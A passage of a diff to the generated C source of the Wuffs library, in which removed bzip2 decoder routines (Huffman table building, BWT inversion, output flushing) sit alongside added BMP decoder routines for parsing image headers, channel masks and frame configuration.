+ } +- if (self->private_data.f_huffman_trees[a_which][v_node_index][0u] == 0u) { +- self->private_data.f_huffman_trees[a_which][v_node_index][0u] = v_leaf_value; +- } else { +- self->private_data.f_huffman_trees[a_which][v_node_index][1u] = v_leaf_value; +- v_stack_height -= 1u; +- while (v_stack_height > 0u) { +- v_node_index = v_stack_values[(v_stack_height - 1u)]; +- if (self->private_data.f_huffman_trees[a_which][v_node_index][1u] == 0u) { +- break; ++ iop_a_src += self->private_data.s_do_decode_image_config.scratch; ++ if (self->private_impl.f_bitmap_info_len == 40u) { ++ if (self->private_impl.f_bits_per_pixel >= 16u) { ++ if (self->private_impl.f_padding >= 16u) { ++ self->private_impl.f_bitmap_info_len = 56u; ++ self->private_impl.f_padding -= 16u; ++ } else if (self->private_impl.f_padding >= 12u) { ++ self->private_impl.f_bitmap_info_len = 52u; ++ self->private_impl.f_padding -= 12u; + } +- v_stack_height -= 1u; + } ++ } else if ((self->private_impl.f_bitmap_info_len != 52u) && ++ (self->private_impl.f_bitmap_info_len != 56u) && ++ (self->private_impl.f_bitmap_info_len != 64u) && ++ (self->private_impl.f_bitmap_info_len != 108u) && ++ (self->private_impl.f_bitmap_info_len != 124u)) { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; ++ } ++ if (self->private_impl.f_compression == 6u) { ++ self->private_impl.f_compression = 3u; ++ } ++ if (self->private_impl.f_compression == 3u) { ++ if (self->private_impl.f_bitmap_info_len >= 52u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(35); ++ uint32_t t_16; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_16 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(36); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_16 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_16; ++ if (num_bits_16 == 24) { ++ t_16 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_16 += 8u; ++ *scratch |= ((uint64_t)(num_bits_16)) << 56; ++ } ++ } ++ self->private_impl.f_channel_masks[2u] = t_16; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(37); ++ uint32_t t_17; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_17 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(38); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_17 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_17; ++ if (num_bits_17 == 24) { ++ t_17 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_17 += 8u; ++ *scratch |= ((uint64_t)(num_bits_17)) << 56; ++ } ++ } ++ self->private_impl.f_channel_masks[1u] = t_17; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(39); ++ uint32_t t_18; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_18 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(40); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_18 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_18; ++ if (num_bits_18 == 24) { ++ t_18 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_18 += 8u; ++ *scratch |= ((uint64_t)(num_bits_18)) << 56; ++ } ++ } ++ self->private_impl.f_channel_masks[0u] = t_18; ++ } ++ if (self->private_impl.f_bitmap_info_len >= 56u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(41); ++ uint32_t t_19; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_19 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(42); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_19 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_19; ++ if (num_bits_19 == 24) { ++ t_19 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_19 += 8u; ++ *scratch |= ((uint64_t)(num_bits_19)) << 56; ++ } ++ } ++ self->private_impl.f_channel_masks[3u] = t_19; ++ } ++ self->private_data.s_do_decode_image_config.scratch = ((uint32_t)(self->private_impl.f_bitmap_info_len - 56u)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(43); ++ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_image_config.scratch; ++ } ++ if ((self->private_impl.f_channel_masks[0u] == 255u) && (self->private_impl.f_channel_masks[1u] == 65280u) && (self->private_impl.f_channel_masks[2u] == 16711680u)) { ++ if (self->private_impl.f_bits_per_pixel == 24u) { ++ self->private_impl.f_compression = 0u; ++ } else if (self->private_impl.f_bits_per_pixel == 32u) { ++ if ((self->private_impl.f_channel_masks[3u] == 0u) || (self->private_impl.f_channel_masks[3u] == 4278190080u)) { ++ self->private_impl.f_compression = 0u; ++ } ++ } ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(44); ++ status = wuffs_bmp__decoder__process_masks(self); ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ } else if (self->private_impl.f_bitmap_info_len >= 40u) { ++ v_n = (self->private_impl.f_bitmap_info_len - 40u); ++ self->private_data.s_do_decode_image_config.scratch = v_n; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(45); ++ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_image_config.scratch; ++ } else { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; + } +- v_symbol_index += 1u; + } +- v_code_length += 1u; ++ if (self->private_impl.f_compression != 3u) { ++ if (self->private_impl.f_bits_per_pixel < 16u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(46); ++ status = wuffs_bmp__decoder__read_palette(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ } ++ if (self->private_impl.f_compression == 0u) { ++ if ((self->private_impl.f_bits_per_pixel == 1u) || (self->private_impl.f_bits_per_pixel == 2u) || (self->private_impl.f_bits_per_pixel == 4u)) { ++ self->private_impl.f_src_pixfmt = 2198077448u; ++ self->private_impl.f_compression = 256u; ++ } else if (self->private_impl.f_bits_per_pixel == 8u) { ++ self->private_impl.f_src_pixfmt = 2198077448u; ++ } else if (self->private_impl.f_bits_per_pixel == 16u) { ++ self->private_impl.f_compression = 3u; ++ self->private_impl.f_channel_masks[0u] = 31u; ++ self->private_impl.f_channel_masks[1u] = 992u; ++ self->private_impl.f_channel_masks[2u] = 31744u; ++ self->private_impl.f_channel_masks[3u] = 0u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(47); ++ status = wuffs_bmp__decoder__process_masks(self); ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_src_pixfmt = 2164308923u; ++ } else if (self->private_impl.f_bits_per_pixel == 24u) { ++ self->private_impl.f_src_pixfmt = 2147485832u; ++ } else if (self->private_impl.f_bits_per_pixel == 32u) { ++ if (self->private_impl.f_channel_masks[3u] == 0u) { ++ self->private_impl.f_src_pixfmt = 2415954056u; ++ } else { ++ self->private_impl.f_src_pixfmt = 2164295816u; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; ++ } ++ } else if (self->private_impl.f_compression == 1u) { ++ if (self->private_impl.f_bits_per_pixel == 8u) { ++ self->private_impl.f_src_pixfmt = 2198077448u; ++ } else { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; ++ } ++ } else if (self->private_impl.f_compression == 2u) { ++ if (self->private_impl.f_bits_per_pixel == 4u) { ++ self->private_impl.f_src_pixfmt = 2198077448u; ++ } else { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; ++ } ++ } else if (self->private_impl.f_compression == 3u) { ++ if ((self->private_impl.f_bits_per_pixel == 16u) || (self->private_impl.f_bits_per_pixel == 32u)) { ++ self->private_impl.f_src_pixfmt = 2164308923u; ++ } else { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; ++ } ++ if (((self->private_impl.f_bitmap_info_len < 40u) || (self->private_impl.f_bitmap_info_len == 64u)) && ++ (self->private_impl.f_bits_per_pixel != 1u) && ++ (self->private_impl.f_bits_per_pixel != 4u) && ++ (self->private_impl.f_bits_per_pixel != 8u) && ++ (self->private_impl.f_bits_per_pixel != 24u)) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; ++ } ++ if (self->private_impl.f_bits_per_pixel == 1u) { ++ v_byte_width = ((self->private_impl.f_width >> 3u) + (((self->private_impl.f_width & 7u) + 7u) >> 3u)); ++ self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); ++ } else if (self->private_impl.f_bits_per_pixel == 2u) { ++ v_byte_width = ((self->private_impl.f_width >> 2u) + (((self->private_impl.f_width & 3u) + 3u) >> 2u)); ++ self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); ++ } else if (self->private_impl.f_bits_per_pixel == 4u) { ++ v_byte_width = ((self->private_impl.f_width >> 1u) + (self->private_impl.f_width & 1u)); ++ self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); ++ } else if (self->private_impl.f_bits_per_pixel == 8u) { ++ self->private_impl.f_pad_per_row = ((4u - (self->private_impl.f_width & 3u)) & 3u); ++ } else if (self->private_impl.f_bits_per_pixel == 16u) { ++ self->private_impl.f_pad_per_row = ((self->private_impl.f_width & 1u) * 2u); ++ } else if (self->private_impl.f_bits_per_pixel == 24u) { ++ self->private_impl.f_pad_per_row = (self->private_impl.f_width & 3u); ++ } else if (self->private_impl.f_bits_per_pixel == 32u) { ++ self->private_impl.f_pad_per_row = 0u; ++ } ++ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ if (a_dst != NULL) { ++ v_dst_pixfmt = 2164295816u; ++ if ((self->private_impl.f_channel_num_bits[0u] > 8u) || ++ (self->private_impl.f_channel_num_bits[1u] > 8u) || ++ (self->private_impl.f_channel_num_bits[2u] > 8u) || ++ (self->private_impl.f_channel_num_bits[3u] > 8u)) { ++ v_dst_pixfmt = 2164308923u; ++ } else if (((self->private_impl.f_src_pixfmt == 2198077448u) || (self->private_impl.f_src_pixfmt == 2147485832u) || (self->private_impl.f_src_pixfmt == 2415954056u)) || ((self->private_impl.f_src_pixfmt == 2164308923u) && (self->private_impl.f_channel_masks[3u] == 0u))) { ++ v_dst_pixfmt = 2415954056u; ++ } ++ wuffs_base__image_config__set( ++ a_dst, ++ v_dst_pixfmt, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ self->private_impl.f_frame_config_io_position, ++ (self->private_impl.f_channel_masks[3u] == 0u)); ++ } ++ self->private_impl.f_call_sequence = 32u; ++ ++ ok: ++ self->private_impl.p_do_decode_image_config = 0; ++ goto exit; + } +- if (v_stack_height != 0u) { +- return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_under_subscribed); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- return wuffs_base__make_status(NULL); ++ ++ return status; + } + +-// -------- func bzip2.decoder.build_huffman_table ++// -------- func bmp.decoder.decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_bzip2__decoder__build_huffman_table( +- wuffs_bzip2__decoder* self, +- uint32_t a_which) { +- uint32_t v_i = 0; +- uint32_t v_bits = 0; +- uint16_t v_n_bits = 0; +- uint16_t v_child = 0; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_bmp__decoder__decode_frame_config( ++ wuffs_bmp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 2)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- while (v_i < 256u) { +- v_bits = (v_i << 24u); +- v_n_bits = 0u; +- v_child = 0u; +- while ((v_child < 257u) && (v_n_bits < 8u)) { +- v_child = self->private_data.f_huffman_trees[a_which][v_child][(v_bits >> 31u)]; +- v_bits <<= 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_n_bits += 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_frame_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } +- self->private_data.f_huffman_tables[a_which][v_i] = ((uint16_t)((v_child | (v_n_bits << 12u)))); +- v_i += 1u; ++ ++ ok: ++ self->private_impl.p_decode_frame_config = 0; ++ goto exit; + } +- return wuffs_base__make_empty_struct(); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; + } + +-// -------- func bzip2.decoder.invert_bwt ++// -------- func bmp.decoder.do_decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_bzip2__decoder__invert_bwt( +- wuffs_bzip2__decoder* self) { +- uint32_t v_i = 0; +- uint32_t v_letter = 0; +- uint32_t v_sum = 0; +- uint32_t v_old_sum = 0; ++static wuffs_base__status ++wuffs_bmp__decoder__do_decode_frame_config( ++ wuffs_bmp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- v_sum = 0u; +- v_i = 0u; +- while (v_i < 256u) { +- v_old_sum = v_sum; +- v_sum += self->private_data.f_letter_counts[v_i]; +- self->private_data.f_letter_counts[v_i] = v_old_sum; +- v_i += 1u; +- } +- v_i = 0u; +- while (v_i < self->private_impl.f_block_size) { +- v_letter = (self->private_data.f_bwt[v_i] & 255u); +- self->private_data.f_bwt[(self->private_data.f_letter_counts[v_letter] & 1048575u)] |= (v_i << 12u); +- self->private_data.f_letter_counts[v_letter] += 1u; +- v_i += 1u; ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func bzip2.decoder.flush_fast +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_bzip2__decoder__flush_fast( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_dst) { +- uint32_t v_flush_pointer = 0; +- uint32_t v_flush_repeat_count = 0; +- uint8_t v_flush_prev = 0; +- uint32_t v_block_checksum_have = 0; +- uint32_t v_block_size = 0; +- uint32_t v_entry = 0; +- uint8_t v_curr = 0; + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- v_flush_pointer = self->private_impl.f_flush_pointer; +- v_flush_repeat_count = self->private_impl.f_flush_repeat_count; +- v_flush_prev = self->private_impl.f_flush_prev; +- v_block_checksum_have = self->private_impl.f_block_checksum_have; +- v_block_size = self->private_impl.f_block_size; +- while ((v_block_size > 0u) && (((uint64_t)(io2_a_dst - iop_a_dst)) >= 255u)) { +- if (v_flush_repeat_count < 4u) { +- v_entry = self->private_data.f_bwt[v_flush_pointer]; +- v_curr = ((uint8_t)(v_entry)); +- v_flush_pointer = (v_entry >> 12u); +- if (v_curr == v_flush_prev) { +- v_flush_repeat_count += 1u; +- } else { +- v_flush_repeat_count = 1u; ++ if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_curr)] ^ ((uint32_t)(v_block_checksum_have << 8u))); +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_curr), iop_a_dst += 1); +- v_flush_prev = v_curr; +- v_block_size -= 1u; +- } else { +- v_entry = self->private_data.f_bwt[v_flush_pointer]; +- v_curr = ((uint8_t)(v_entry)); +- v_flush_pointer = (v_entry >> 12u); +- v_flush_repeat_count = ((uint32_t)(v_curr)); +- while (v_flush_repeat_count > 0u) { +- v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_flush_prev)] ^ ((uint32_t)(v_block_checksum_have << 8u))); +- if (((uint64_t)(io2_a_dst - iop_a_dst)) > 0u) { +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_flush_prev), iop_a_dst += 1); +- } +- v_flush_repeat_count -= 1u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_bmp__decoder__do_decode_image_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +- v_flush_repeat_count = 0u; +- v_flush_prev = v_curr; +- v_block_size -= 1u; ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); ++ goto exit; ++ } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ self->private_impl.f_call_sequence = 96u; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; + } ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height), ++ ((wuffs_base__flicks)(0u)), ++ 0u, ++ self->private_impl.f_frame_config_io_position, ++ 0u, ++ true, ++ false, ++ 4278190080u); ++ } ++ self->private_impl.f_call_sequence = 64u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame_config = 0; ++ goto exit; + } +- self->private_impl.f_flush_pointer = v_flush_pointer; +- self->private_impl.f_flush_repeat_count = v_flush_repeat_count; +- self->private_impl.f_flush_prev = v_flush_prev; +- self->private_impl.f_block_checksum_have = v_block_checksum_have; +- if (v_block_size <= 900000u) { +- self->private_impl.f_block_size = v_block_size; +- } +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- return wuffs_base__make_empty_struct(); ++ return status; + } + +-// -------- func bzip2.decoder.flush_slow ++// -------- func bmp.decoder.decode_frame + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__flush_slow( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_dst) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_bmp__decoder__decode_frame( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 3)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_flush_pointer = 0; +- uint32_t v_flush_repeat_count = 0; +- uint8_t v_flush_prev = 0; +- uint32_t v_block_checksum_have = 0; +- uint32_t v_block_size = 0; +- uint32_t v_entry = 0; +- uint8_t v_curr = 0; +- +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_flush_slow[0]; +- if (coro_susp_point) { +- v_flush_pointer = self->private_data.s_flush_slow[0].v_flush_pointer; +- v_flush_repeat_count = self->private_data.s_flush_slow[0].v_flush_repeat_count; +- v_flush_prev = self->private_data.s_flush_slow[0].v_flush_prev; +- v_block_checksum_have = self->private_data.s_flush_slow[0].v_block_checksum_have; +- v_block_size = self->private_data.s_flush_slow[0].v_block_size; +- v_curr = self->private_data.s_flush_slow[0].v_curr; +- } ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- v_flush_pointer = self->private_impl.f_flush_pointer; +- v_flush_repeat_count = self->private_impl.f_flush_repeat_count; +- v_flush_prev = self->private_impl.f_flush_prev; +- v_block_checksum_have = self->private_impl.f_block_checksum_have; +- v_block_size = self->private_impl.f_block_size; +- while ((v_block_size > 0u) && ! (self->private_impl.p_flush_slow[0] != 0)) { +- if (v_flush_repeat_count < 4u) { +- v_entry = self->private_data.f_bwt[v_flush_pointer]; +- v_curr = ((uint8_t)(v_entry)); +- v_flush_pointer = (v_entry >> 12u); +- if (v_curr == v_flush_prev) { +- v_flush_repeat_count += 1u; +- } else { +- v_flush_repeat_count = 1u; +- } +- v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_curr)] ^ ((uint32_t)(v_block_checksum_have << 8u))); +- self->private_data.s_flush_slow[0].scratch = v_curr; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (iop_a_dst == io2_a_dst) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- goto suspend; +- } +- *iop_a_dst++ = ((uint8_t)(self->private_data.s_flush_slow[0].scratch)); +- v_flush_prev = v_curr; +- v_block_size -= 1u; +- } else { +- v_entry = self->private_data.f_bwt[v_flush_pointer]; +- v_curr = ((uint8_t)(v_entry)); +- v_flush_pointer = (v_entry >> 12u); +- v_flush_repeat_count = ((uint32_t)(v_curr)); +- while (v_flush_repeat_count > 0u) { +- v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_flush_prev)] ^ ((uint32_t)(v_block_checksum_have << 8u))); +- self->private_data.s_flush_slow[0].scratch = v_flush_prev; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (iop_a_dst == io2_a_dst) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- goto suspend; +- } +- *iop_a_dst++ = ((uint8_t)(self->private_data.s_flush_slow[0].scratch)); +- v_flush_repeat_count -= 1u; +- } +- v_flush_repeat_count = 0u; +- v_flush_prev = v_curr; +- v_block_size -= 1u; ++ while (true) 